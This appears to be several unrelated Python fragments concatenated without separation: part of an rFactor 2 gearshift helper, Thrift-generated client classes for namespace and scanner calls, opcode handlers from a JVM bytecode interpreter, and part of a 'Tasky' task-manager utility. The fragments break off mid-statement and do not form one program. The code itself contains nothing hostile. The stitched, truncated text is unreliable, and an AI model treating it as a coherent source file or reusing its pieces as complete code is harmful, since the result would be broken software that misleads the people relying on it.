memoryMapCallback(clutchEvent=None, gearEvent=None, stopEvent=False): if clutchEvent != None: WatchClutch(clutchEvent) if gearEvent != None: if gearEvent == 0: # Neutral gearStateMachine(gearDeselect) else: gearStateMachine(gearSelect) if stopEvent: gearStateMachine(smStop) def ShowButtons(): pass global neutralButtonKeycode def main(): global graunch_o global debug global graunchWav global ClutchEngaged global controller_file global neutralButton config_o = Config() debug = config_o.get('miscellaneous', 'debug') if not debug: debug = 0 graunchWav = config_o.get('miscellaneous', 'wav file') mockInput = config_o.get('miscellaneous', 'mock input') reshift = config_o.get('miscellaneous', 'reshift') == 1 ClutchEngaged = config_o.get('clutch', 'bite point') neutralButton = config_o.get('miscellaneous', 'neutral button') ignitionButton = config_o.get('miscellaneous', 'ignition button') controller_file = config_o.get_controller_file() if neutralButton in DirectInputKeyCodeTable: # (it must be) neutralButtonKeycode = neutralButton[4:] else: print('\ngearshift.ini "neutral button" entry "%s" not recognised.\nIt must be one of:' % neutralButton) for _keyCode in DirectInputKeyCodeTable: print(_keyCode, end=', ') quit(99) if ignitionButton in DirectInputKeyCodeTable: # (it must be) _ignitionButton = ignitionButton[4:] else: print('\ngearshift.ini "ignition button" entry "%s" not recognised.\nIt must be one of:' % ignitionButton) for _keyCode in DirectInputKeyCodeTable: print(_keyCode, end=', ') quit(99) graunch_o = graunch() controls_o = Controls(debug=debug,mocking=mockInput) controls_o.run(memoryMapCallback) return controls_o, graunch_o, neutralButtonKeycode ############################################################# def get_neutral_control(_controller_file_test=None): """ Get the keycode specified in controller.json """ global controller_file global neutralButton if _controller_file_test: _controller_file = _controller_file_test else: _controller_file = controller_file _JSON_O = Json(_controller_file) neutral_control = _JSON_O.get_item("Control - Neutral") if neutral_control: keycode = rfKeycodeToDIK(neutral_control[1]) if not keycode == neutralButton: err = F'"Control - Neutral" in {_controller_file}\n'\ F'does not match {configFileName} "neutral button" entry'.format() messagebox.showinfo('Config error', err) return err = F'"Control - Neutral" not in {_controller_file}\n'\ F'See {configFileName} "controller_file" entry'.format() messagebox.showinfo('Config error', err) if __name__ == "__main__": controls_o, graunch_o, neutralButtonKeycode = main() instructions = 'If gear selection fails this program will send %s ' \ 'to the active window until you reselect a gear.\n\n' \ 'You can minimise this window now.\n' \ 'Do not close it until you have finished racing.' % neutralButtonKeycode ############################################################# # Using shared memory, reading clutch state and gear selected direct from rF2 # mockInput: testing using the simple GUI to poke inputs into the memory map # otherwise just use the GUI slightly differently root = gui(mocking=mockInput, instructions=instructions, graunch_o=graunch_o, controls_o=controls_o ) get_neutral_control() if root != 'OK': root.mainloop()
iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('open_namespace_args') if self.ns != None: oprot.writeFieldBegin('ns', TType.STRING, 1) oprot.writeString(self.ns) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class open_namespace_result: """ Attributes: - success - e """ thrift_spec = ( (0, TType.I64, 'success', None, None, ), # 0 (1, TType.STRUCT, 'e', (ClientException, ClientException.thrift_spec), None, ), # 1 ) def __init__(self, success=None, e=None,): self.success = success self.e = e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.I64: self.success = iprot.readI64(); else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e = ClientException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('open_namespace_result') if self.success != None: oprot.writeFieldBegin('success', TType.I64, 0) oprot.writeI64(self.success) oprot.writeFieldEnd() if self.e != None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class close_namespace_args: """ Attributes: - ns """ thrift_spec = ( None, # 0 (1, TType.I64, 'ns', None, None, ), # 1 ) def __init__(self, ns=None,): self.ns = ns def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.I64: self.ns = iprot.readI64(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('close_namespace_args') if self.ns != None: oprot.writeFieldBegin('ns', TType.I64, 1) oprot.writeI64(self.ns) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class close_namespace_result: """ Attributes: - e """ thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e', (ClientException, ClientException.thrift_spec), None, ), # 1 ) def __init__(self, e=None,): self.e = e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRUCT: self.e = ClientException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('close_namespace_result') if self.e != None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class open_scanner_args: """ Attributes: - ns - table_name - scan_spec - retry_table_not_found """ thrift_spec = ( None, # 0 (1, TType.I64, 'ns', None, None, ), # 1 (2, TType.STRING, 'table_name', None, None, ), # 2 (3, TType.STRUCT, 'scan_spec', (ScanSpec, ScanSpec.thrift_spec), None, ), # 3 (4, TType.BOOL, 'retry_table_not_found', None, False, ), # 4 ) def __init__(self, ns=None, table_name=None, scan_spec=None, retry_table_not_found=thrift_spec[4][4],): self.ns = ns self.table_name = table_name self.scan_spec = scan_spec self.retry_table_not_found = retry_table_not_found def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.I64: self.ns = iprot.readI64(); else: iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING: self.table_name = iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if ftype == TType.STRUCT: self.scan_spec = ScanSpec() self.scan_spec.read(iprot) else: iprot.skip(ftype) elif fid == 4: if ftype == TType.BOOL: self.retry_table_not_found = iprot.readBool(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('open_scanner_args') if self.ns != None: oprot.writeFieldBegin('ns', TType.I64, 1) oprot.writeI64(self.ns) oprot.writeFieldEnd() if self.table_name != None: oprot.writeFieldBegin('table_name', TType.STRING, 2) oprot.writeString(self.table_name) oprot.writeFieldEnd() if self.scan_spec != None: oprot.writeFieldBegin('scan_spec', TType.STRUCT, 3) self.scan_spec.write(oprot) oprot.writeFieldEnd() if self.retry_table_not_found != None: oprot.writeFieldBegin('retry_table_not_found', TType.BOOL, 4) oprot.writeBool(self.retry_table_not_found) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class open_scanner_result: """ Attributes: - success - e """ thrift_spec = ( (0, TType.I64, 'success', None, None, ), # 0 (1, TType.STRUCT, 'e', (ClientException, ClientException.thrift_spec), None, ), # 1 ) def __init__(self, success=None, e=None,): self.success = success self.e = e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.I64: self.success = iprot.readI64(); else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e = ClientException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('open_scanner_result') if self.success != None: oprot.writeFieldBegin('success', TType.I64, 0) oprot.writeI64(self.success) oprot.writeFieldEnd() if self.e != None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class close_scanner_args: """ Attributes: - scanner """ thrift_spec = ( None, # 0 (1, TType.I64, 'scanner', None, None, ), # 1 ) def __init__(self, scanner=None,): self.scanner = scanner def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.I64: self.scanner = iprot.readI64(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('close_scanner_args') if self.scanner != None: oprot.writeFieldBegin('scanner', TType.I64, 1) oprot.writeI64(self.scanner) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) class close_scanner_result: """ Attributes: - e """ thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e', (ClientException, ClientException.thrift_spec), None, ), # 1 ) def __init__(self, e=None,): self.e = e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRUCT: self.e = ClientException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if
self.stack.pop() # value2 = self.stack.pop() # self.stack.push(value1) # self.stack.push(value2) raise NotImplementedError("swap") def opcode_0x60(self): "iadd" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(self.intmask(value1 + value2)) def opcode_0x61(self): "ladd" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 + value2) def opcode_0x62(self): "fadd" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(r_singlefloat(float(value1) + float(value2))) def opcode_0x63(self): "dadd" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 + value2) def opcode_0x64(self): "isub" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(self.intmask(value1 - value2)) def opcode_0x65(self): "lsub" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 - value2) def opcode_0x66(self): "fsub" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(r_singlefloat(float(value1) - float(value2))) def opcode_0x67(self): "dsub" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 - value2) def opcode_0x68(self): "imul" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(self.intmask(value1 * value2)) def opcode_0x69(self): "lmul" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 * value2) def opcode_0x6a(self): "fmul" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(r_singlefloat(float(value1) * float(value2))) def opcode_0x6b(self): "dmul" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 * value2) def opcode_0x6c(self): "idiv" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(intmask(value1 / value2)) def opcode_0x6d(self): "ldiv" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(value1 / value2) def opcode_0x6e(self): "fdiv" value2 = self.stack.pop() value1 = self.stack.pop() if float(value2)==0: throw_ArithmeticException(self.loader) self.stack.push(r_singlefloat(float(value1) / float(value2))) def opcode_0x6f(self): "ddiv" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(value1 / value2) def opcode_0x70(self): "irem" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(intmask(value1 % value2)) def opcode_0x71(self): "lrem" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(value1 % value2) def opcode_0x72(self): "frem" value2 = self.stack.pop() value1 = self.stack.pop() if float(value2)==0: throw_ArithmeticException(self.loader) self.stack.push(r_singlefloat(float(value1) % float(value2))) def opcode_0x73(self): "drem" value2 = self.stack.pop() value1 = self.stack.pop() if value2==0: throw_ArithmeticException(self.loader) self.stack.push(value1 % value2) def opcode_0x74(self): "ineg" value = self.stack.pop() self.stack.push(intmask(-value)) def opcode_0x75(self): "lneg" value = self.stack.pop() self.stack.push(-value) def opcode_0x76(self): "fneg" value = self.stack.pop() self.stack.push(r_singlefloat(-float(value))) def opcode_0x77(self): "dneg" value = self.stack.pop() self.stack.push(-value) def opcode_0x78(self): "ishl" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(intmask(value1 << value2)) def opcode_0x79(self): "lshl" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 << value2) def opcode_0x7a(self): "ishr" value2 = self.stack.pop() value1 = self.stack.pop() #value1 = value1 & 31 self.stack.push(intmask(value1 >> value2)) # TODO: be sure that this is right.. def opcode_0x7b(self): "lshr" value2 = self.stack.pop() value1 = self.stack.pop() #value1 = value1 & 31 self.stack.push(value1 >> value2) # logic shift (zero extention) def opcode_0x7c(self): "iushr" value2 = self.stack.pop() value1 = self.stack.pop() s = value2 & 0x1f if value1 >0: result = (value1 >> s) else: x = 0 for i in range(32-s): x |= (1 << i) result = (value1 >> s) & x #print result self.stack.push(result) def opcode_0x7d(self): "lushr" value2 = self.stack.pop() value1 = self.stack.pop() s = value2 & 0x3f if value1 >0: result = (value1 >> s) else: x = 0 for i in range(64-s): # XXX x |= (1 << i) result = (value1 >> s) & x self.stack.push(result) def opcode_0x7e(self): "iand" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 & value2) def opcode_0x7f(self): "land" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 & value2) def opcode_0x80(self): "ior" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 | value2) def opcode_0x81(self): "lor" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 | value2) def opcode_0x82(self): "ixor" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 ^ value2) def opcode_0x83(self): "lxor" value2 = self.stack.pop() value1 = self.stack.pop() self.stack.push(value1 ^ value2) def opcode_0x84(self): "iinc" index = self.nextbyte() const = self.nextsignedbyte() value = self.locals.get(index, "int") + const self.locals.set(index, value, "int") #JVMS: 0x85 - 0x93 casting bytecodes def opcode_0x85(self): "i2l" value = self.stack.pop() assert isinstance(value,int) self.stack.push(r_longlong(value)) def opcode_0x86(self): "i2f" value = self.stack.pop() assert isinstance(value,int) self.stack.push(r_singlefloat(value)) def opcode_0x87(self): "i2d" value = self.stack.pop() assert isinstance(value,int) self.stack.push(float(value)) def opcode_0x88(self): "l2i" value = self.stack.pop() self.stack.push(intmask(int(value))) def opcode_0x89(self): "l2f" value = self.stack.pop() self.stack.push(r_singlefloat(value)) def opcode_0x8a(self): "l2d" value = self.stack.pop() self.stack.push(float(value)) def opcode_0x8b(self): "f2i" value = self.stack.pop() self.stack.push(intmask(int(value.__float__()))) def opcode_0x8c(self): "f2l" value = self.stack.pop() self.stack.push(r_longlong(value.__float__())) def opcode_0x8d(self): "f2d" value = self.stack.pop() self.stack.push(float(value.__float__())) def opcode_0x8e(self): "d2i" value = self.stack.pop() self.stack.push(intmask(int(value))) def opcode_0x8f(self): "d2l" value = self.stack.pop() self.stack.push(r_longlong(value)) def opcode_0x90(self): "d2f" value = self.stack.pop() self.stack.push(r_singlefloat(value)) def opcode_0x91(self): "i2b" value = self.stack.pop() self.stack.push(signedbytemask(value)) def opcode_0x92(self): "i2c" # JVMS 3.3.1: # int: from -2**31 to 2**31-1 # char: from 0 to 2**16-1 value = self.stack.pop() if value>(2**16-1): # overflow value = value - (2**16) self.stack.push(value) def opcode_0x93(self): "i2s" value = self.stack.pop() self.stack.push(shortmask(value)) def opcode_0x94(self): "lcmp" value2 = self.stack.pop() value1 = self.stack.pop() if value1>value2: self.stack.push(1) elif value1==value2: self.stack.push(0) elif value1<value2: self.stack.push(-1) # TODO: handled NaN ? def opcode_0x95(self): "fcmpl" value2 = float(self.stack.pop()) value1 = float(self.stack.pop()) if value1>value2: self.stack.push(1) elif value1==value2: self.stack.push(0) elif value1<value2: self.stack.push(-1) else:# at least one of value1 or value2 is NaN self.stack.push(-1) def opcode_0x96(self): "fcmpg" value2 = float(self.stack.pop()) value1 = float(self.stack.pop()) if value1>value2: self.stack.push(1) elif value1==value2: self.stack.push(0) elif value1<value2: self.stack.push(-1) else:# at least one of value1 or value2 is NaN self.stack.push(1) def opcode_0x97(self): "dcmpl" value2 = self.stack.pop() value1 = self.stack.pop() if value1>value2: self.stack.push(1) elif value1==value2: self.stack.push(0) elif value1<value2: self.stack.push(-1) else:# at least one of value1 or value2 is NaN self.stack.push(-1) def opcode_0x98(self): "dcmpg" value2 = self.stack.pop() value1 = self.stack.pop() if value1>value2: self.stack.push(1) elif value1==value2: self.stack.push(0) elif value1<value2: self.stack.push(-1) else:# at least one of value1 or value2 is NaN self.stack.push(1) def opcode_0x99(self): "ifeq" self.nextsignedword() value = self.stack.pop() return value == 0 def opcode_0x9a(self): "ifne" self.nextsignedword() value = self.stack.pop() return value != 0 def opcode_0x9b(self): "iflt" self.nextsignedword() value = self.stack.pop() return value < 0 def opcode_0x9c(self): "ifge" self.nextsignedword() value = self.stack.pop() return value >= 0 def opcode_0x9d(self): "ifgt" self.nextsignedword() value = self.stack.pop() return value > 0 def opcode_0x9e(self): "ifle" self.nextsignedword() value = self.stack.pop() return value <= 0 def opcode_0x9f(self): "if_icmpeq" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 == value2 def opcode_0xa0(self): "if_icmpne" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 != value2 def opcode_0xa1(self): "if_icmplt" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 < value2 def opcode_0xa2(self): "if_icmpge" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 >= value2 def opcode_0xa3(self): "if_icmpgt" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 > value2 def opcode_0xa4(self): "if_icmple" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 <= value2 def opcode_0xa5(self): "if_acmpeq" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 == value2 def opcode_0xa6(self): "if_acmpne" self.nextsignedword() value2 = self.stack.pop() value1 = self.stack.pop() return value1 != value2 def opcode_0xa7(self): "goto" return True # for Exceptionhandling, to reach the finally block def opcode_0xa8(self): "jsr" offset = self.nextsignedword() self.stack.push(self.next_instr) #remember entrypoint of sub # instruction lenght + next bytecode length self.next_instr = self.next_instr + offset-3 def opcode_0xa9(self): "ret" index = self.nextbyte() offset = self.locals.get(index, "ref") self.next_instr = offset # return to entrypoint(by jsr) def opcode_0xaa(self): "tableswitch" opcode_addr = self.next_instr -1 #address of the tableswitch opcode while not self.next_instr % 4==0: self.nextbyte() index = self.stack.pop() default = self.nextdoubleword() low = self.nextdoubleword() high = self.nextdoubleword() assert low <= high if index > high or index < low: self.next_instr = opcode_addr + default else: offset1 = ord(self.co.code[self.next_instr+(index - low)*4]) offset2 = ord(self.co.code[self.next_instr+(index - low)*4+1]) offset3 = ord(self.co.code[self.next_instr+(index - low)*4+2]) offset4 = ord(self.co.code[self.next_instr+(index - low)*4+3]) offset = offset1 << 24 | offset2 << 16 | offset3 << 8| offset4 self.next_instr = opcode_addr + offset def opcode_0xab(self): "lookupswitch" opcode_addr = self.next_instr -1 #address of the tableswitch opcode while not self.next_instr % 4==0: self.nextbyte() default = self.nextdoubleword() npairs = self.nextdoubleword() assert npairs >= 0 key = self.stack.pop() # TODO: search quicker the linear for i in range(npairs): match1 = ord(self.co.code[self.next_instr+i*8]) match2 = ord(self.co.code[self.next_instr+i*8+1]) match3 = ord(self.co.code[self.next_instr+i*8+2]) match4 = ord(self.co.code[self.next_instr+i*8+3]) match = match1 << 24 | match2 << 16 | match3 << 8 | match4 if key == match: offset1 = ord(self.co.code[self.next_instr+i*8+4]) offset2 = ord(self.co.code[self.next_instr+i*8+5]) offset3 = ord(self.co.code[self.next_instr+i*8+6]) offset4 = ord(self.co.code[self.next_instr+i*8+7]) offset = offset1 << 24 | offset2 << 16 | offset3 << 8 | offset4 self.next_instr = opcode_addr + offset return else: continue self.next_instr = opcode_addr + default def opcode_0xac(self): "ireturn" raise Return(self.stack.pop()) def opcode_0xad(self): "lreturn" raise Return(self.stack.pop()) def opcode_0xae(self):
import datetime from os import startfile, system from pathlib import Path from random import randint from sys import exit as sysend class Functions: def __init__(self): self.log_prefix = self.log_dated_names() self.home_path = Path.home() self.taskymain_path = self.home_path / "Tasky" self.tasks_path = self.taskymain_path / "tasks.txt" self.taskylog_path = self.taskymain_path / "taskylogs" self.cookie_folder_path = self.taskylog_path/ "cookie" def check_tasky_folders(self): self.taskylog_path.mkdir(parents=True,exist_ok=True) def cookie_dir(self): if not self.cookie_folder_path.is_dir() : return False, self.cookie_folder_path, 0 if not (self.cookie_folder_path / "cookies.txt").is_file(): return True, self.cookie_folder_path, 0 with open(self.cookie_folder_path / "cookies.txt", "r") as cookiefile: count = cookiefile.readlines() while "\n" in count: count.remove("\n") for i in range(len(count)): count[i] = count[i].replace("\n", "") if len(count) != 1 or not count[0].isdecimal(): return True, self.cookie_folder_path, 0 if 0 <= int(count[0]) <= 15: return True, self.cookie_folder_path, int(count[0]) elif int(count[0]) > 15: return True, self.cookie_folder_path, 15 else: return True, self.cookie_folder_path, 0 @staticmethod def log_dated_names(): t = datetime.datetime.now() a = str(t)[:-10] a = a.replace("-", "_") a = a.replace(":", "") a = a.replace(" ", "__") return str(a) def check_tasky_log(self): try: log_file = open(self.taskylog_path / f"{self.log_prefix}.log", "r") log_file.close() except FileNotFoundError: log_file = open(self.taskylog_path / f"{self.log_prefix}.log", "w") log_file.close() def log(self, data): with open(self.taskylog_path / f"{self.log_prefix}.log", "a") as file: current_dt = str(datetime.datetime.now())[:-4] file.write(f"{current_dt} >> {str(data)}" + "\n") def check_tasks_txt(self): try: self.log("[INFO] attempted to open tasks.txt in read mode") with open(self.tasks_path, "r") as b: self.log("[INFO] attempt successful") except FileNotFoundError: self.log("[ERROR] attempt failed, can't find tasks.txt") with open(self.tasks_path, "w") as b: self.log("[INFO] created empty text file 'tasks.txt'") def make_dicts(self): months = { "01": 31, "02": 29, "03": 31, "04": 30, "05": 31, "06": 30, "07": 31, "08": 31, "09": 30, "10": 31, "11": 30, "12": 31, } self.log("[INFO] defined dict 1 (months)") month_names = { "january": 1, "february": 2, "march": 3, "april": 4, "may": 5, "june": 6, "july": 7, "august": 8, "september": 9, "october": 10, "november": 11, "december": 12, } self.log("[INFO] defined dict 2 (month_names)") return months, month_names def clear(self): self.log("[FUNCTION] starts -> clear()") system("cls") self.log("[INFO] output screen cleared") self.log("[FUNCTION] ends -> clear()") def info_bar(self, data, monthsdict): data = str(data) self.clear() self.status(monthsdict) print(f"<< {data.center(40)} >>" + "\n") def timediff(self, tt, monthsdict): self.log("[FUNCTION] starts -> timediff()") tt = tt.split(":") self.log(f"[INFO] split variable named 'tt' {tt} into 5 parts") # time now tn = datetime.datetime.now() self.log("[INFO] calculated current date-time as variables") tny = tn.strftime("%y") self.log(f"[INFO] year: {tny}") tnm = tn.strftime("%m") self.log(f"[INFO] month: {tnm}") tnd = tn.strftime("%d") self.log(f"[INFO] date: {tnd}") tnh = tn.strftime("%H") self.log(f"[INFO] hours: {tnh}") tnmin = tn.strftime("%M") self.log(f"[INFO] min: {tnmin}") # task time tty = tt[0] ttm = tt[1] ttd = tt[2] tth = tt[3] ttmin = tt[4] self.log("[INFO] stored 5 parts of var 'tt'") self.log( f"[INFO] year: {tty}, month: {ttm}, date: {ttd}, hours: {tth}, mins: {ttmin}" ) diffy = int(tty) - int(tny) diffm = int(ttm) - int(tnm) diffd = int(ttd) - int(tnd) diffh = int(tth) - int(tnh) diffmin = int(ttmin) - int(tnmin) self.log( "[INFO] calculated differences between corresponding values of 'tt' and 'tn'" ) if diffmin < 0: diffmin = 60 + diffmin diffh -= 1 if diffh < 0: diffh = 24 + diffh diffd -= 1 if diffd < 0: diffd = monthsdict.get(str(tnm)) + diffd if int(tnm) == 2 and int(tny) % 4 != 0: diffd -= 1 diffm -= 1 if diffm < 0: diffm = 12 + diffm diffy -= 1 self.log("[INFO] adjusted negative differences 'diff'") if diffy < 0: output = "Task Expired".rjust(19) else: diffy = str(diffy) diffm = str(diffm) diffd = str(diffd) diffh = str(diffh) diffmin = str(diffmin) self.log("[INFO] converted 'difference' numbers to strings") if int(diffy) >= 1: output = ( f"{diffy}y".rjust(3) + f"{diffm}M".rjust(4) + f"{diffd}d".rjust(4) + f"{diffh}h".rjust(4) + f"{diffmin}m".rjust(4) ) elif int(diffm) >= 1: output = ( f"{diffm}M".rjust(4 + 3) + f"{diffd}d".rjust(4) + 